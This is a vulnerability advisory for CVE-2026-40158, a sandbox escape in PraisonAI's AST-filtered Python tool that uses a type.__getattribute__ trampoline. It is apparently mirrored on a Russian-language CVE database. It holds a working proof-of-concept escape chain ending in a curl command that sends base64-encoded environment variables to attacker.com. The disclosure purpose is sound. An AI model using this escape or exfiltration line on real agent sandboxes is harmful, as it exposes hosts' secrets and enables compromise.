GHSA-3c4r-6p77-xwr7

Опубликовано: 10 апр. 2026

Источник: github

Github: Прошло ревью

CVSS3: 8.6

Описание

PraisonAI Vulnerable to Code Injection and Protection Mechanism Failure

PraisonAI's AST-based Python sandbox can be bypassed using type.__getattribute__ trampoline, allowing arbitrary code execution when running untrusted agent code.

Description

The _execute_code_direct function in praisonaiagents/tools/python_tools.py uses AST filtering to block dangerous Python attributes like __subclasses__, __globals__, and __bases__. However, the filter only checks ast.Attribute nodes, allowing bypass via:

The sandbox relies on AST-based filtering of attribute access but fails to account for dynamic attribute resolution via built-in methods such as type.getattribute, resulting in incomplete enforcement of security restrictions.

type.__getattribute__(obj, '__subclasses__') # Bypasses filter

The string '__subclasses__' is an ast.Constant, not an ast.Attribute, so it is never checked against the blocked list.

Proof of Concept

# This code bypasses the sandbox and achieves RCE t = type int_cls = t(1) # Bypass blocked __bases__ via type.__getattribute__ bases = t.__getattribute__(int_cls, '__bases__') obj_cls = bases[0] # Bypass blocked __subclasses__ subclasses_fn = t.__getattribute__(obj_cls, '__subclasses__') all_subclasses = subclasses_fn() # Find _wrap_close class for c in all_subclasses: if t.__getattribute__(c, '__name__') == '_wrap_close': # Get __init__.__globals__ via bypass init = t.__getattribute__(c, '__init__') glb = type(init).__getattribute__(init, '__globals__') # Get system function and execute system = glb['system'] system('curl https://attacker.com/steal --data "$(env | base64)"')

Impact

This vulnerability allows attackers to escape the intended Python sandbox and execute arbitrary code with the privileges of the host process.

An attacker can:

Access sensitive data such as environment variables, API keys, and local files
Execute arbitrary system commands
Modify or delete files on the system

In environments that execute untrusted code (e.g., multi-tenant agent platforms, CI/CD pipelines, or shared systems), this can lead to full system compromise, data exfiltration, and potential lateral movement within the infrastructure.

Affected Code

# praisonaiagents/tools/python_tools.py (approximate) def _execute_code_direct(code, ...): tree = ast.parse(code) for node in ast.walk(tree): # Only checks ast.Attribute nodes if isinstance(node, ast.Attribute) and node.attr in blocked_attrs: raise SecurityError(...) # Bypass: string arguments are not checked exec(compiled, safe_globals)

Reporter: Lakshmikanthan K (letchupkt)

Ссылки

Пакеты

Наименование

PraisonAI

pip

Затронутые версииВерсия исправления

< 4.5.128

4.5.128

EPSS

Процентиль: 9%

0.00031

Низкий

8.6 High

CVSS3

CVE ID

CVE-2026-40158

Дефекты

CWE-693

CWE-94

Связанные уязвимости

CVE-2026-40158

CVSS3: 8.6

nvd

5 дней назад

PraisonAI is a multi-agent teams system. Prior to 4.5.128, PraisonAI's AST-based Python sandbox can be bypassed using type.__getattribute__ trampoline, allowing arbitrary code execution when running untrusted agent code. The _execute_code_direct function in praisonaiagents/tools/python_tools.py uses AST filtering to block dangerous Python attributes like __subclasses__, __globals__, and __bases__. However, the filter only checks ast.Attribute nodes, allowing a bypass. The sandbox relies on AST-based filtering of attribute access but fails to account for dynamic attribute resolution via built-in methods such as type.getattribute, resulting in incomplete enforcement of security restrictions. The string '__subclasses__' is an ast.Constant, not an ast.Attribute, so it is never checked against the blocked list. This vulnerability is fixed in 4.5.128.

EPSS

Процентиль: 9%

0.00031

Низкий

8.6 High

CVSS3

CVE ID

CVE-2026-40158

Дефекты

CWE-693

CWE-94